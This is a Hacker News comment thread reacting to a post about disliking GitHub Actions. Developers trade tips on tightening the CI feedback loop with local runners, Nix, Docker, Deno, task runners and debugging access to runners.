I hate GitHub Actions with passion
xlii.space457 points by xlii a day ago
457 points by xlii a day ago
I think this post accurately isolates the single main issue with GitHub Actions, i.e. the lack of a tight feedback loop. Pushing and waiting for completion on what's often a very simple failure mode is frustrating.
Others have pointed out that there are architectural steps you can take to minimize this pain, like keeping all CI operations isolated within scripts that can be run locally (and treating GitHub Actions features purely as progressive enhancements, e.g. only using `GITHUB_STEP_SUMMARY` if actually present).
Another thing that works pretty well to address the feedback loop pain is `workflow_dispatch` + `gh workflow run`: you still need to go through a push cycle, but `gh workflow run` lets you stay in development flow until you actually need to go look at the logs.
(One frustrating limitation with that is that `gh workflow run` doesn't actually spit out the URL of the workflow run it triggers. GitHub claims this is because it's an async dispatch, but I don't see how there can possibly be no context for GitHub to provide here, given that they clearly obtain it later in the web UI.)
Lets you run your actions locally. I've had significant success with it for fast local feedback.
I tried this recently and it seems like you have to make a lot of decisions to support Act. It in no way "just works", but instead requires writing actions knowing that they'll run on Act.
I tried this five years ago back when I was an engineer on the PyTorch project, and it didn't work well enough to be worth it. Has it improved since then?
It works well enough that I didn’t realize this wasn’t first party till right now.
It works, but there are fair amount of caveats, especially for someone working on things like Pytorch, the runtime is close but not the same, and its support of certain architectures etc can create annoying bugs.
it has. it's improved to work with ~ 75% of steps . fast enough to worth trying before push
I've standardized on getting github actions to create/pull a docker image and run build/test inside that. So if something goes wrong I have a decent live debug environment that's very similar to what github actions is running. For what it's worth.
I do the same with Nix as it works for macOS builds as well
It has the massive benefit of solving the lock-in problem. Your workflow is generally very short so it is easy to move to an alternative CI if (for example) Github were to jack up their prices for self hosted runners...
That said, when using it in this way I personally love Github actions
Nix is so nice that you can put almost your entire workflow into a check or package. Like your code-coverage report step(s) become a package that you build (I'm not brave enough to do this)
I run my own jenkins for personal stuff on top of nixos, all jobs run inside devenv shell, devenv handles whatever background services required (i.e. database), /nix/store is shared between workers + attic cache in local network.
Oh, and there is also nixosModule that is tested in the VM that also smoke tests the service.
First build might take some time, but all future jobs run fast. The same can be done on GHA, but on github-hosted runners you can't get shared /nix/store.
I'm scared by all these references to nix in the replies here. Sounds like I'm going to have learn nix. Sounds hard.
Gemini/ChatGPT help (a lot) when getting going. They make up for the poor documentation
Calling nix documentation poor is an insult to actually poor documentation.
Remember the old meme image about Vim and Emacs learning curves? Nix is both of those combined.
It's like custom made for me on the idea level, declarative everything? Sign me up!
But holy crap I have wasted so much time and messed up a few laptops completely trying to make sense of it :D
Whata the killer benefit of nix over, like, a docker file or a package.lock or whatever?
package.lock is JSON only, Nix is for the entire system, similar to a Dockerfile
Nix specifies dependencies declaritively, and more precisely, than Docker (does by default), so the resulting environment is reproducibly the same. It caches really well and doubles as a package manager.
Despite the initial learning curve, I now personally prefer Nix's declarative style to a Dockerfile
same here. though, i think bazel is better for DAGs. i wish i could use it for my personal project (in conjunction with, and bootstrapped with nix), but that's a pretty serious tooling investment that I just feel is just going to be a rabbit hole.
I tend to have most of my workflows setup as scripts that can run locally in a _scripts diorectory, I've also started to lean on Deno if I need anything more complex than I'm comfortable with in bash (even bash in windows) or powershell, since it executes .ts directly and can refer directly to modules/repos without a separate install step.
This may also leverage docker (compose) to build/run different services depending on the stage of action. Sometimes also creating "builder" containers that will have a mount point for src and output to build and output the project in different OSes, etc. Docker + QEMU allows for some nice cross-compile options.
The less I rely on Github Actions environment the happier I am... the main points of use are checkout, deno runtime, release please and uploading assets in a release.
It sucks that the process is less connected and slow, but ensuring as much as reasonable can run locally goes a very long way.
I just use the fact that any action run can trigger a webhook.
The action does nothing other than trigger the hook.
Then my server catches the hook and can do whatever I want.
I wish I had the courage to run my own CI server. But yes, I think your approach is the best for serious teams that can manage more infrastructure.
I was doing something similar when moving from Earthly. But I have since moved to Nix to manage the environment. It is a lot better of a developer experience and faster! I would checkout an environment manager like Nix/Mise etc so you can have the same tools etc locally and on CI.
Yeah, images seem to work very well as an abstraction layer for most CI/CD users. It's kind of unfortunate that they don't (can't) fully generalize across Windows and macOS runners as well, though, since in practice that's where a lot of people start to get snagged by needing to do things in GitHub Actions versus using GitHub Actions as an execution layer.
Me, too, though getting the trusted publisher NPM settings working didn't help with this. But it does help with most other CI issues.
Most of the npm modules I've built are fortunately pretty much just feature complete... I haven't had to deal with that in a while...
I do have plans to create a couple libraries in the near future so will have to work through the pain(s)... also wanting to publish to jsr for it.
So you've implemented GitLab CI in GitHub... We used to do this in Jenkins like 7 years ago.
It's insane to me that being able to run CI steps locally is not the first priority of every CI system. It ought to be a basic requirement.
I've often thought about this. There are times I would rather have CI run locally, and use my PGP signature to add a git note to the commit. Something like:
``` echo "CI passed" | gpg2 --clearsign --output=- | git notes add -F- ```
Then CI could check git notes and check the dev signature, and skip the workflow/pipeline if correctly signed. With more local CI, the incentive may shift to buying devs fancier machines instead of spending that money on cloud CI. I bet most devs have extra cores to spare and would not mind having a beefier dev machine.
I think this is a sound approach, but I do see one legitimate reason to keep using a third-party CI service: reducing the chance of a software supply chain attack by building in a hardened environment that has (presumably) had attention from security people. I'd say the importance of this is increasing.
This goes against every incentive for the CI service provider
> i.e. the lack of a tight feedback loop.
Lefthook helps a lot https://anttiharju.dev/a/1#pre-commit-hooks-are-useful
Thing is that people are not willing to invest in it due to bad experiences with various git hooks, but there are ways to have it be excellent
Yeah, I'm one of those people who seems to consistently have middling-to-bad experiences with Git hooks (and Git hook managers). I think the bigger issue is that even with consistent developer tooling between both developer machines and CI, you still have the issue where CI needs to do a lot more stuff that local machines just can't/won't do (like matrix builds).
Those things are fundamentally remote and kind of annoying to debug, but GitHub could invest a lot more in reducing the frustration involved in getting a fast remote cycle set up.
GitHub could invest a lot more in actions for sure. Even just in basic stuff like actions/checkout@v6 being broken for self-hosted runners.
But very often the CI operations _are_ the problem. It's just YAML files with unlimited configuration options that have very limited documentation, without any type of LSP.
I’ve contemplated building my own CI tool (with a local runner) and the thing is if you assume “write a pipeline that runs locally but also on push”, then the feature depth is mostly about queuing, analyzing output, and often left off, but IMO important, charting telemetry about the build history.
Most of these are off the shelf, at least in some programming languages. It’s the integrations and the overmanagement where a lot of the weight is.
I think you described Jenkins, which is infinitely better than GitHub runners.
This is one of the big problems we solved with the RWX CI platform (RWX.com). You can use ‘rwx run’ and it automatically syncs your local changes, so no need to push — and with our automated caching, steps like setting up the environment cache hit so you don’t have to execute the same stuff over and over again while writing your workflow. Plus with our API or MCP server you can get the results directly in your terminal so no need to open the UI at all unless you want to do some in-depth spelunking.
I've never used gh workflow run, but I have used the GitHub API to run workflows and wanted to show the URL. I had to have it make another call to get the workflow runs and assume the last run is the one with the correct URL. This would obviously not work correctly if there were multiple run requests at the same time. Maybe some more checking could detect that, but it works for my purposes so far.
Does the metadata in the further call not identify the branch/start time/some other useful info that could help disambiguate this? (honest question)
I wonder what prevents a GH action from connecting to your VPN (Wireguard is fine) and post tons of diagnostics right onto your screen, and then, when something goes badly wrong, or when a certain point is reached, to just keep polling an HTTP endpoint for shell commands to execute.
I mean. I understand, it would time out eventually. But it may be enough time to interactively check a few things right inside the running task's process.
Of course this should only happen if the PR contains a file that says where to connect and when to stop for interactive input. You would only push such a file when an action is misbehaving, and you want to debug it.
I understand that it's a band-aid, but a band-aid is better than the nothing which is available right now.
We need SSH access to the failed instances so we can poke around and iterate from any step in the workflow.
Production runs should be immutable, but we should be able to get in to diagnose, edit, and retry. It'd lead to faster diagnosis, resolution, and fixing.
The logs and everything should be there for us.
And speaking of the logs situation, the GHA logs are really buggy sometimes. They don't load about half of the time I need them to.
I wrote something recently with webrtc to get terminal on failure: https://blog.gripdev.xyz/2026/01/10/actions-terminal-on-fail...
Are there solutions to this like https://github.com/marketplace/actions/ssh-to-github-action-... ?
I’ve never used Nix and frankly am a sceptic, but can it solve this problem by efficiently caching steps?
1. Don't use bash, use a scripting language that is more CI friendly. I strongly prefer pwsh.
2. Don't have logic in your workflows. Workflows should be dumb and simple (KISS) and they should call your scripts.
3. Having standalone scripts will allow you to develop/modify and test locally without having to get caught in a loop of hell.
4. Design your entire CI pipeline for easier debugging, put that print state in, echo out the version of whatever. You don't need it _now_, but your future self will thank you when you do it need it.
5. Consider using third party runners that have better debugging capabilities
I would disagree with 1. if you need anything more than shell that starts to become a smell to me. The build/testing process etc should be simple enough to not need anything more.
That's literally point #2, but I had the same reaction as you when I first read point #1 :)
I agree with #2, I meant more if you are calling out to something that is not a task runner(Make, Taskfile, Just etc) or a shell script thats a bit of a smell to me. E.g. I have seen people call out to Python scripts etc and it concerns me.
My software runs on Windows, Linux and MacOS. The same Python testing code runs on all three platforms. I mostly dislike Python but I can't think of anything better for this use case.
You might consider Deno with Typescript... it's a single exe runtime, with a self-update mechanism (deno upgrade) and can run typescript/javascript files that directly reference the repository/http/modules that it needs and doesn't require a separate install step for dependency management.
I've been using it for most of my local and environment scripting since relatively early on.
I don't touch Windows so I would not know.
> The same Python testing code runs on all three platforms.
I have no objections to Python being used for testing, I use it myself for the end to end tests in my projects. I just don't think Python as a build script/task runner is a good idea, see below where I got Claude to convert one of my open source projects for an example.
It's interesting because #1 is still suggesting a shell script, it's just suggesting a better shell to script.
I had no idea 'pwsh' was PowerShell. Personally not interested, maybe if your a Microsoft shop or something then yeah.
"pwsh" is often used as the short-hand for modern cross-platform PowerShell to better differentiate it from the old Windows-only PowerShell.
I think pwsh is worth exploring. It is cross-platform. It is post-Python and the Python mantra that "~~code~~ scripts are read more often than they are written". It provides a lot of nice tools out of the box. It's built in an "object-oriented" way, resembling Python and owing much to C#. When done well the "object-oriented" way provides a number of benefits over "dumb text pipes" that shells like bash were built on. It is easy to extend with C# and a few other languages, should you need to extend it.
I would consider not dismissing it off hand without trying it just because Microsoft built it and/or that it was for a while Windows-only.
It's also both a larger download and slower to start than Java, which is not known for being light and nimble. In fact, PowerShell is so slow that you can both compile and run the equivalent C# program before PowerShell finishes launching. Not ideal for a shell or a scripting language.
Also, the newer versions aren't included with Windows, which would have been useful – instead Windows includes an incompatible older version that admonishes you to download the new version. But why would you download several hundred megabytes of pwsh when you can equally well download any other language runtime?
Also, it sends "telemetry" to Microsoft by default.
Also, the error handling is just awful, silencing errors by default, requiring several different incantations to fix.
Also, the documentation is vague and useless. And the syntax is ugly.
Huh? Who cares if the script is .sh, .bash, Makefile, Justfile, .py, .js or even .php? If it works it works, as long as you can run it locally, it'll be good enough, and sometimes it's an even better idea to keep it in the same language the rest of the project is. It all depends and what language a script is made in shouldn't be considered a "smell".
Once you get beyond shell, make, docker (and similar), dependencies become relevant. At my current employer, we're mostly in TypeScript, which means you've got NPM dependencies, the NodeJS version, and operating system differences that you're fighting with. Now anyone running your build and tests (including your CI environment) needs to be able to set all those things up and keep them in working shape. For us, that includes different projects requiring different NodeJS versions.
Meanwhile, if you can stick to the very basics, you can do anything more involved inside a container, where you can be confident that you, your CI environment, and even your less tech-savvy coworkers can all be using the exact same dependencies and execution environment. It eliminates entire classes of build and testing errors.
I use to have my Makefile call out and do `docker build ...` and `docker run ...` etc with a volume mount of the source code to manage and maintain tooling versions etc.
It works okay, better than a lot of other workflows I have seen. But it is a bit slow, a bit cumbersome(for langs like Go or Node.js that want to write to HOME) and I had some issues on my ARM Macbook about no ARM images etc.
I would recommend taking a look at Nix, it is what I switched to.
* It is faster. * Has access to more tools. * Works on ARM, X86 etc.
I've switched to using Deno for most of my orchestration scripts, especially shell scripts. It's a single portable, self-upgradeable executable and your shell scripts can directly reference the repositories/http(s) modules/versions it needs to run without a separate install step.
I know I've mentioned it a few times in this thread, just a very happy user and have found it a really good option for a lot of usage. I'll mostly just use the Deno.* methods or jsr:std for most things at this point, but there's also npm:zx which can help depending on what you're doing.
It also is a decent option for e2e testing regardless of the project language used.
Shell and bash are easy to write insecurely and open your CI runners or dev machines up for exploitation by shell injection. Non-enthusiasts writing complex CI pipelines pulling and piping remote assets in bash without ShellCheck is a risky business.
Python is a lot easier to write safely.
You shouldn't be pulling untrusted assets in CI regardless. Hacking your bash runner is the hardest approach anyways, just patch some subroutine in a dependency that you'll call during your build or tests.
> Huh? Who cares if the script is .sh, .bash, Makefile, Justfile, .py, .js or even .php?
Me, typically I have found it to be a sign of over-engineering and found no benefits over just using shell script/task runner, as all it should be is plumbing that should be simple enough that a task runner can handle it.
> If it works it works, as long as you can run it locally, it'll be good enough,
Maybe when it is your own personal project "If it works it works" is fine. But when you come to corporate environment there starts to be issues of readability, maintainability, proprietary tooling, additional dependencies etc I have found when people start to over-engineer and use programming languages(like Python).
E.g.
> never_inline 30 minutes ago | parent | prev | next [–]
> Build a CLI in python or whatever which does the same thing as CI, every CI stage should just call its subcommands.
However,
> and sometimes it's an even better idea to keep it in the same language the rest of the project is
I'll agree. Depending on the project's language etc other options might make sense. But personally so far everytime I have come across something not using a task runner it has just been the wrong decision.
> But personally so far everytime I have come across something not using a task runner it has just been the wrong decision.
Yeah, tends to happen a lot when you hold strong opinions with strong conviction :) Not that it's wrong or anything, but it's highly subjective in the end.
Typically I see larger issues being created from "under-engineering" and just rushing with the first idea people can think of when they implement things, rather than "over-engineering" causing similarly sized future issues. But then I also know everyone's history is vastly different, my views are surely shaped by the specific issues I've witnessed (and sometimes contributed to :| ), than anything else.
> Yeah, tends to happen a lot when you hold strong opinions with strong conviction :) Not that it's wrong or anything, but it's highly subjective in the end.
Strong opinions, loosely held :)
> Typically I see larger issues being created from "under-engineering" and just rushing with the first idea people can think of when they implement things, rather than "over-engineering"
Funnily enough running with the first idea I think is creating a lot of the "over-engineering" I am seeing. Not stopping to consider other simpler solutions or even if the problem needs/is worth solving in the first place.
> Yeah, tends to happen a lot when you hold strong opinions with strong conviction :) Not that it's wrong or anything, but it's highly subjective in the end.
I quickly asked Claude to convert one of my open source repos using Make/Nix/Shell -> Python/Nix to see how it would look. It is actually one of the better Python as a task runners I have seen.
* https://github.com/DeveloperC286/clean_git_history/pull/431
While the Python version is not as bad as I have seen previously, I am still struggling to see why you'd want it over Make/Shell.
It introduces more dependencies(Python which I solved via Nix) but others haven't solved this problem and the Python script has dependencies(such as Click for the CLI).
It is less maintainable as it is more code, roughly x3 the amount of the Makefile.
To me the Python code is more verbose and not as simple compared to the Makefile's target so it is less readable as well.
> It introduces more dependencies(Python which I solved via Nix) but others haven't solved this problem and the Python script has dependencies(such as Click for the CLI).
UV scripts are great for this type of workflow
There are even scripts which will install uv in the same file effectively making it just equivalent to ./run-file.py and it would handle all the dependency management the python version management and everything included and would work everywhere
https://paulw.tokyo/standalone-python-script-with-uv/
Personally I end up just downloading uv and so not using the uv download script from this but if I am using something like github action which are more (ephemeral?) I'd just do this.
Something like this can start out simple and can scale much more than the limitations of bash which can be abundant at times
That being said, I still make some shell scripts because executing other applications is first class support in bash but not so much in python but after discovering this I might create some new scripts with python with automated uv because I end up installing uv on many devices anyway (because uv's really good for python)
I am interested in bun-shell as well but that feels way too much bloated and even not used by many so less (AI assistance at times?) and I haven't understood bun shell at the same time too and so bash is superior to it usually